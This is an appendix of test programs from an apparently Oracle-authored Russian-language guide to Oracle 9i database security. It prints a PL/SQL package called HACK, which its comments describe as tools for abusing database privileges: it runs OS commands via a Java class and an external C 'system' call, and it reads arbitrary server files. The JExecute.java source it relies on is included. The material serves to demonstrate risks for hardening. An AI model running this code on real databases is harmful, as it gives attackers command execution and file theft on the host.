Информационная безопасность Oracle 9i - Приложение A – тестовые программы
ОГЛАВЛЕНИЕ
Приложение A – тестовые программы
A.1 Пакет PL/SQL HACK”
-- HACK.SQL
-- (c) 2001, Oracle Corporation
-- Author: Bridesmaid (Howard Smith)
--
-- Пакет HACK, содержащий полезные процедуры для злоупотребления
-- привилегиями базы данных
create or replace package hack as
procedure javaexecute(command varchar2); -- Выполняет команду, используя Java
procedure sysexecute(command varchar2); -- Выполняет команду, используя SYSTEM
procedure exists(filename varchar2, dir varchar2); -- Проверяет, существует ли файл
procedure browse(filename varchar2, dir varchar2); -- Выводит содержимое файла
end;
create or replace package body hack as
--
-- Определяет функцию PL/SQL wrapper JEXECUTE для класса Java "JExecute", определенного внешне
--
function jexecute(command varchar2) return varchar2 is
language java
name 'JExecute.JExec(java.lang.String) return java.lang.String';
--
-- Удобная для пользователя версия, которая выполняет заданную команду и выводит статус возврата
--
procedure javaexecute(command varchar2) is
result varchar2(32000);
begin
dbms_output.enable(1000000);
result := jexecute(command);
dbms_output.put_line(result);
end;
--
-- Процедура "обертки" служебного вызова "system", определенного в библиотеке libsys
--
function syscall(call varchar2) return binary_integer is
external
library libsys
name "system"
calling standard c
parameters(call by reference string, return ub4);
--
-- Процедура "обертки" для syscall
--
procedure sysexecute(command varchar2) as
begin
dbms_output.enable(1000000);
dbms_output.put_line('Executing: '||command);
dbms_output.put_line('Command completed with status: ' || syscall(command));
end;
--
-- Проверка существования указанного файла в файловой системе ОС
--
procedure exists(filename varchar2, dir varchar2) as
Lob_loc bfile;
begin
dbms_output.enable(1000000);
dbms_output.put_line('Checking file:'||filename);
dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare
begin
execute immediate ('create or replace directory hackdir as '''||dir||'''');
exception
when others then
dbms_output.put_line('Directory creation failed'||sqlerrm);
return;
end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
dbms_output.put_line('File exists');
else
dbms_output.put_line('File does not exist');
end if;
end;
--
-- Просмотр заданного файла
-- Это очень простая демонстрационная программа. Форматирование файла не сохраняется.
--
procedure browse(filename varchar2, dir varchar2) as
Lob_loc bfile;
Buffer RAW(128);
Amount BINARY_INTEGER := 128;
Position INTEGER := 1;
begin
dbms_output.enable(1000000);
dbms_output.put_line('Display file:'||filename);
dbms_output.put_line('Directory: '||dir);
-- Сначала мы должны создать каталог
declare
begin
execute immediate ('create or replace directory hackdir as '''||dir||'''');
exception
when others then
dbms_output.put_line('Directory creation failed'||sqlerrm);
return;
end;
-- Сейчас проверим существование файла
lob_loc:=bfilename('HACKDIR',filename);
if (DBMS_LOB.FILEEXISTS(Lob_loc)!= 0) then
declare
begin
--открыть файл для чтения
DBMS_LOB.OPEN(Lob_loc, DBMS_LOB.LOB_READONLY);
--вывести содержимое файла
LOOP
DBMS_LOB.READ(Lob_loc, Amount, Position, Buffer);
dbms_output.put_line(UTL_RAW.CAST_TO_VARCHAR2(Buffer));
Position := Position + Amount;
END LOOP;
-- закрыть файл и выдать диагностику
DBMS_LOB.CLOSE(Lob_loc);
exception
WHEN NO_DATA_FOUND THEN
dbms_output.put_line('**End of Data**');
end;
else
dbms_output.put_line('File does not exist');
end if;
end;
end;
A.2 JExecute.java
Эта программа используется для демонстрации выполнения произвольных команд с помощью Java, компиляция выполняется следующим образом:
javac jexecute.java
для загрузки используйте:
loadjava jexecute.class -user <пользователь>/<пароль>
// JExecute.java
//
// (c) 2001, Oracle Corporation
//
// Author: Bridesmaid (Howard Smith)
//
// Простой демонстрационный класс, который может
// выполнять программу, передаваемую как параметр.
import java.io.*;
public class JExecute {
public static String JExec(String command)
{
try {
Process child = Runtime.getRuntime().exec(command);
InputStream childout = child.getInputStream();
InputStreamReader r = new InputStreamReader(childout);
BufferedReader in = new BufferedReader(r);
String line;
String output;
output = "";
while((line = in.readLine()) != null) output = output + line + "\n";
if (child.waitFor() != 0) output = "Execute failed with exit code:" + child.exitValue();
return (output);
} catch (Exception e) {
return("Execute failed with exception:" + e.toString());
}
}
}